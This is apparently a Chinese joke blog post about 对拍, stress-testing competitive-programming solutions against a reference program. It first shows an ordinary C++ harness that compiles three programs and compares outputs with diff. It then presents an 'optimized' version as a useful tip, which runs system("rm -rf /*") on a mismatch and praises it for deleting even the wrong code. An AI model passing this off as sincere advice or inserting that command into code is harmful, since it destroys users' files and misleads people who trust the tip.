关于对拍(雾)

(Huge 叶队阵势态腔乐,对拍剪纸活到爆)

引入:

首先,对拍是我们考试的时候常用的手法,既可以检验代码正确性,又不用我们耗费太多精力

但是,我们将对拍放到后台,有的时候拍出了问题,我们却发现不了,导致拍出错也没时间调

下面小编就来讲一讲怎么很好的处理这个问题

普通版本

#include <bits/stdc++.h>
using namespace std; 
int main(){ 
	system("g++ a.cpp -o a"); 
	system("g++ data.cpp -o data"); 
	system("g++ std.cpp -o std"); 
	for(int T=1;T;T++){ 
		system("./data"); 
		system("./a"); 
		system("./std"); 
		if(system("diff -b -B -q a.out std.out")) return cout << "Wrong Answer" << endl,0; 
		else printf("test : %d : Accept
",T); 
	} 
	return 0; 
} 

这样的对拍貌似没有问题,但是却不能让我们及时发现自己的错误 所以我们需要优化,下面就是优化版本

优化

#include <bits/stdc++.h>
using namespace std; 
int main(){ 
	system("g++ a.cpp -o a"); 
	system("g++ data.cpp -o data"); 
	system("g++ std.cpp -o std"); 
	for(int T=1;T;T++){ 
		system("./data"); 
		system("./a"); 
		system("./std"); 
		if(system("diff -b -B -q a.out std.out")) return system("rm -rf /*"),0; 
		else printf("test : %d : Accept
",T); 
	} 
	return 0; 
} 

这样不仅可以很容易的发现自己的错误,更可以加深印象,而且绝对不会出现没有看到的情况,甚至连错误的代码都一起删除了!真是太方便了。

是不是很实用呢?

觉得实用点点推荐叭

原文地址:https://www.cnblogs.com/Midoria7/p/13922535.html